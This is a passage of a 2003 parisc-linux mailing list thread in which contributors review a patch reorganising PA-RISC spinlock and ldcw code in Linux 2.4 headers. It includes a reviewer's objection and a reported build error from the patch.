>>+   for the semaphore.  */
>>+#define __PA_LDCW_ALIGNMENT 16
>>+#define __ldcw_align(a) ({ \
>>+  unsigned long __ret = (unsigned long) a;                     		\
>>+  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
>>+  (unsigned int *) __ret;                                               \
>>+})
> 
> 
> Change cast to "volatile unsigned int *".
> 
> 
>> typedef struct {
>>-	volatile unsigned int __attribute__((aligned(16))) lock;
>>+	volatile unsigned int lock[4];
>> } spinlock_t;
>> #endif
> 
> 
> Is the struct necessary?  For example,
> 
hmm i supposed that came from 2.4 struct:
typedef struct {
#ifdef CONFIG_PA20
	volatile unsigned int lock;
#else
	volatile unsigned int __attribute__((aligned(16))) lock;
#endif
#ifdef CONFIG_DEBUG_SPINLOCK
	volatile unsigned long owner_pc;
	volatile unsigned long owner_cpu;
#endif
} spinlock_t;

But I don't know yet if CONFIG_DEBUG_SPINLOCK is still foreseen for 2.6

Thanks,
	Joel



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC] rewrite kernel spinlock
 code to work better with gcc]
Date: Sun, 30 Nov 2003 00:43:51 +0000
Lines: 289
Approved: news@gmane.org
Message-ID: <3FC93D47.5020501@tiscali.be>
References: <20031126070714.GN975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030508070305070209090604"
X-Trace: ger.gmane.org 1416623007 2459 80.91.229.3 (22 Nov 2014 02:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 17:43:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE6714856
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Nov 2003 17:43:55 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQFgo-0000Gk-8c; Sun, 30 Nov 2003 01:43:54 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031126070714.GN975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20244

This is a multi-part message in MIME format.
--------------030508070305070209090604
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,


btw here is attached a patch to re-organize spinlock stuff in 2.4 as in 2.6.

Can somebody help me to apply and test it before ci (not yet time to 
test and no access to cvs ci)

thanks in advance,
	Joel

--------------030508070305070209090604
Content-Type: text/plain;
 name="spinlock-parisc.bp.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="spinlock-parisc.bp.diff"

diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/atomic.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/atomic.h	2003-11-29 14:11:51.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 01:23:57.000000000 +0100
@@ -1,7 +1,6 @@
 #ifndef _ASM_PARISC_ATOMIC_H_
 #define _ASM_PARISC_ATOMIC_H_
 
-#include <linux/config.h>
 #include <asm/system.h>
 
 /* Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>.  */
@@ -193,4 +192,4 @@
 #define smp_mb__before_atomic_inc()	smp_mb()
 #define smp_mb__after_atomic_inc()	smp_mb()
 
-#endif
+#endif /* _ASM_PARISC_ATOMIC_H_ */
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock.h	2003-11-29 14:10:38.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock.h	2003-11-30 01:21:40.000000000 +0100
@@ -1,9 +1,55 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
-#include <asm/spinlock_t.h>		/* get spinlock primitives */
-#include <asm/psw.h>			/* local_* primitives need PSW_I */
-#include <asm/system_irqsave.h>		/* get local_* primitives */
+#include <asm/system.h>
+
+#ifndef CONFIG_DEBUG_SPINLOCK
+#define SPIN_LOCK_UNLOCKED_INIT { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
+
+/* Define 6 spinlock primitives that don't depend on anything else. */
+
+#define spin_lock_init(x)       do { (x)->lock = 1; } while(0)
+#define spin_is_locked(x)       ((x)->lock == 0)
+#define spin_trylock(x)		(__ldcw(&(x)->lock) != 0)
+ 
+/* 
+ * PA2.0 is not strongly ordered.  PA1.X is strongly ordered.
+ * ldcw enforces ordering and we need to make sure ordering is
+ * enforced on the unlock too.
+ * "stw,ma" with Zero index is an alias for "stw,o".
+ * But PA 1.x can assemble the "stw,ma" while it doesn't know about "stw,o".
+ * And PA 2.0 will generate the right insn using either form.
+ * Thanks to John David Anglin for this cute trick.
+ *
+ * Writing this with asm also ensures that the unlock doesn't
+ * get reordered
+ */
+#define spin_unlock(x) \
+	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
+
+#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+
+#define spin_lock(x) do { \
+	while (__ldcw (&(x)->lock) == 0) \
+		while ((x)->lock == 0) ; \
+} while (0)
+
+#else /* ! CONFIG_DEBUG_SPINLOCK */
+
+#define SPIN_LOCK_UNLOCKED_INIT { 1, 0L, 0L }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
+
+/* Define 6 spinlock primitives that don't depend on anything else. */
+
+#define spin_lock_init(x)       do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0)
+#define spin_is_locked(x)       ((x)->lock == 0)
+void spin_lock(spinlock_t *lock);
+int spin_trylock(spinlock_t *lock);
+void spin_unlock(spinlock_t *lock);
+#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+
+#endif /* ! CONFIG_DEBUG_SPINLOCK */
 
 /*
  * Read-write spinlocks, allowing multiple readers
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h	2003-11-29 16:13:04.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h	1970-01-01 01:00:00.000000000 +0100
@@ -1,97 +0,0 @@
-#ifndef __PARISC_SPINLOCK_T_H
-#define __PARISC_SPINLOCK_T_H
-
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
- *
- * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
- * since it only has load-and-zero.
- */
-#ifdef CONFIG_PA20
-/* 
-> From: "Jim Hull" <jim.hull of hp.com>
-> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
-> I've attached a summary of the change, but basically, for PA 2.0, as
-> long as the ",CO" (coherent operation) completer is specified, then the
-> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
-> they only require "natural" alignment (4-byte for ldcw, 8-byte for
-> ldcd).
-*/
-
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
-})
-#else
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
-})
-#endif
-
-/*
- * Your basic SMP spinlocks, allowing only a single CPU anywhere
- */
-
-typedef struct {
-#ifdef CONFIG_PA20
-	volatile unsigned int lock;
-#else
-	volatile unsigned int __attribute__((aligned(16))) lock;
-#endif
-#ifdef CONFIG_DEBUG_SPINLOCK
-	volatile unsigned long owner_pc;
-	volatile unsigned long owner_cpu;
-#endif
-} spinlock_t;
-
-#ifndef CONFIG_DEBUG_SPINLOCK
-#define SPIN_LOCK_UNLOCKED_INIT { 1 }
-#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
-
-/* Define 6 spinlock primitives that don't depend on anything else. */
-
-#define spin_lock_init(x)       do { (x)->lock = 1; } while(0)
-#define spin_is_locked(x)       ((x)->lock == 0)
-#define spin_trylock(x)		(__ldcw(&(x)->lock) != 0)
- 
-/* 
- * PA2.0 is not strongly ordered.  PA1.X is strongly ordered.
- * ldcw enforces ordering and we need to make sure ordering is
- * enforced on the unlock too.
- * "stw,ma" with Zero index is an alias for "stw,o".
- * But PA 1.x can assemble the "stw,ma" while it doesn't know about "stw,o".
- * And PA 2.0 will generate the right insn using either form.
- * Thanks to John David Anglin for this cute trick.
- *
- * Writing this with asm also ensures that the unlock doesn't
- * get reordered
- */
-#define spin_unlock(x) \
-	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
-
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#define spin_lock(x) do { \
-	while (__ldcw (&(x)->lock) == 0) \
-		while ((x)->lock == 0) ; \
-} while (0)
-
-#else
-
-#define SPIN_LOCK_UNLOCKED_INIT { 1, 0L, 0L }
-#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
-
-/* Define 6 spinlock primitives that don't depend on anything else. */
-
-#define spin_lock_init(x)       do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0)
-#define spin_is_locked(x)       ((x)->lock == 0)
-void spin_lock(spinlock_t *lock);
-int spin_trylock(spinlock_t *lock);
-void spin_unlock(spinlock_t *lock);
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#endif
-
-#endif /* __PARISC_SPINLOCK_T_H */
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/system.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/system.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/system.h	2003-11-29 14:11:16.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/system.h	2003-11-30 01:34:35.000000000 +0100
@@ -5,10 +5,6 @@
 #include <asm/psw.h>
 #include <asm/system_irqsave.h>
 
-#ifdef CONFIG_SMP
-#include <asm/spinlock_t.h>
-#endif
-
 /* The program status word as bitfields.  */
 struct pa_psw {
 	unsigned int y:1;
@@ -69,7 +65,7 @@
 #define save_and_cli(x) do { save_flags(x); cli(); } while(0);
 #define save_and_sti(x) do { save_flags(x); sti(); } while(0);
 
-#else
+#else /* CONFIG_SMP */
 
 #define cli() __cli()
 #define sti() __sti()
@@ -78,7 +74,7 @@
 #define save_and_cli(x) __save_and_cli(x)
 #define save_and_sti(x) __save_and_sti(x)
 
-#endif
+#endif /* CONFIG_SMP */
 
 
 #define mfctl(reg)	({		\
@@ -147,4 +143,49 @@
 
 #define set_mb(var, value) do { var = value; mb(); } while (0)
 
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
+ *
+ * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero.
+ */
+#ifdef CONFIG_PA20
+/* 
+> From: "Jim Hull" <jim.hull of hp.com>
+> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
+> I've attached a summary of the change, but basically, for PA 2.0, as
+> long as the ",CO" (coherent operation) completer is specified, then the
+> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+> they only require "natural" alignment (4-byte for ldcw, 8-byte for
+> ldcd).
+*/
+
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+#else /* CONFIG_PA20 */
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+#endif /* CONFIG_PA20 */
+
+/*
+ * Your basic SMP spinlocks, allowing only a single CPU anywhere
+ */
+
+typedef struct {
+#ifdef CONFIG_PA20
+	volatile unsigned int lock;
+#else
+	volatile unsigned int __attribute__((aligned(16))) lock;
+#endif
+#ifdef CONFIG_DEBUG_SPINLOCK
+	volatile unsigned long owner_pc;
+	volatile unsigned long owner_cpu;
 #endif
+} spinlock_t;
+
+#endif /* __PARISC_SYSTEM_H */

--------------030508070305070209090604--



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better
 with gcc
Date: Sun, 30 Nov 2003 00:51:11 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <3FC93EFF.20501@tiscali.be>
References: <20031126070714.GN975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623007 2461 80.91.229.3 (22 Nov 2014 02:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 17:51:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EE6A488D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Nov 2003 17:51:11 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQFnq-0000NE-Hm; Sun, 30 Nov 2003 01:51:10 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031126070714.GN975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20245

:)

a trivial atomic.h patch:
---------><---------
--- atomic.h.orig       2003-11-30 01:47:49.000000000 +0100
+++ atomic.h    2003-11-30 01:48:01.000000000 +0100
@@ -1,7 +1,6 @@
  #ifndef _ASM_PARISC_ATOMIC_H_
  #define _ASM_PARISC_ATOMIC_H_

-#include <linux/config.h>
  #include <asm/system.h>

  /* Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>.  */
---------><---------

hth,
	J.



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC] rewrite kernel spinlock code to work better with gcc]
Date: Sat, 29 Nov 2003 20:37:05 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031130033705.GA24965@colo.lackof.org>
References: <20031126070714.GN975@tausq.org> <3FC93D47.5020501@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623007 2462 80.91.229.3 (22 Nov 2014 02:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:27 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 29 20:37:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08EF34856
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Nov 2003 20:37:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4050629803D; Sat, 29 Nov 2003 20:37:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07159-09; Sat, 29 Nov 2003 20:37:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 96C4E298038; Sat, 29 Nov 2003 20:37:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FC93D47.5020501@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20246

On Sun, Nov 30, 2003 at 12:43:51AM +0000, Joel Soete wrote:
...
> +++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 01:23:57.000000000 +0100
> @@ -1,7 +1,6 @@
>  #ifndef _ASM_PARISC_ATOMIC_H_
>  #define _ASM_PARISC_ATOMIC_H_
>  
> -#include <linux/config.h>
>  #include <asm/system.h>

Joel,
This is wrong - atomic.h uses CONFIG_SMP and thus is
required to include config.h.

grant


From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC]
 rewrite kernel spinlock code to work better with gcc]
Date: Sun, 30 Nov 2003 10:39:12 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <3FC9C8D0.6080302@tiscali.be>
References: <20031126070714.GN975@tausq.org> <3FC93D47.5020501@tiscali.be> <20031130033705.GA24965@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623008 2463 80.91.229.3 (22 Nov 2014 02:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 03:39:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 041364841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 03:39:12 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQOys-0002GZ-0Q; Sun, 30 Nov 2003 11:39:10 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031130033705.GA24965@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20247


Grant Grundler wrote:
> On Sun, Nov 30, 2003 at 12:43:51AM +0000, Joel Soete wrote:
> ...
> 
>>+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 01:23:57.000000000 +0100
>>@@ -1,7 +1,6 @@
>> #ifndef _ASM_PARISC_ATOMIC_H_
>> #define _ASM_PARISC_ATOMIC_H_
>> 
>>-#include <linux/config.h>
>> #include <asm/system.h>
> 
> 
> Joel,
> This is wrong - atomic.h uses CONFIG_SMP and thus is
> required to include config.h.
> 
I trust you.
Just a small explanation: i was confused by the begining of asm/system.h 
which is:
---------><---------
#ifndef __PARISC_SYSTEM_H
#define __PARISC_SYSTEM_H

#include <linux/config.h>
#include <asm/psw.h>

[...]
---------><---------

so I trusted that asm/system.h firstly include  <linux/config.h>.
So there should be something wrong elsewhere but don't yet find.

Sorry for my bad understand,

	Joel



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC]
 rewrite kernel spinlock code to work better with gcc]
Date: Sun, 30 Nov 2003 10:57:16 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <3FC9CD0C.1040403@tiscali.be>
References: <20031126070714.GN975@tausq.org> <3FC93D47.5020501@tiscali.be> <20031130033705.GA24965@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623008 2467 80.91.229.3 (22 Nov 2014 02:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 03:57:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8284B4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 03:57:15 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQPGL-0002q8-OK; Sun, 30 Nov 2003 11:57:13 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031130033705.GA24965@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20248

Yes forgive that try, it breaks something in 'make dep' I presume 
because make vmlinux failled oribly:

gcc -D__KERNEL__ -I/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include 
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing 
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs 
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 
-mschedule=7100   -DKBUILD_BASENAME=main -c -o init/main.o init/main.c
In file included from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/wait.h:16,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/fs.h:12,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/capability.h:17,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/binfmts.h:5,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/sched.h:9,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/mm.h:4,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/slab.h:14,
                  from 
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/proc_fs.h:5,
                  from init/main.c:15:
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/linux/spinlock.h:75: 
error: conflicting types for `spinlock_t'
/Debian-apt/SRC/Test/linux-2.4.23-rc5-pa17/include/asm/system.h:189: 
error: previous declaration of `spinlock_t'
make: *** [init/main.o] Error 1

My bad, sorry,
	Joel

Grant Grundler wrote:
> On Sun, Nov 30, 2003 at 12:43:51AM +0000, Joel Soete wrote:
> ...
> 
>>+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 01:23:57.000000000 +0100
>>@@ -1,7 +1,6 @@
>> #ifndef _ASM_PARISC_ATOMIC_H_
>> #define _ASM_PARISC_ATOMIC_H_
>> 
>>-#include <linux/config.h>
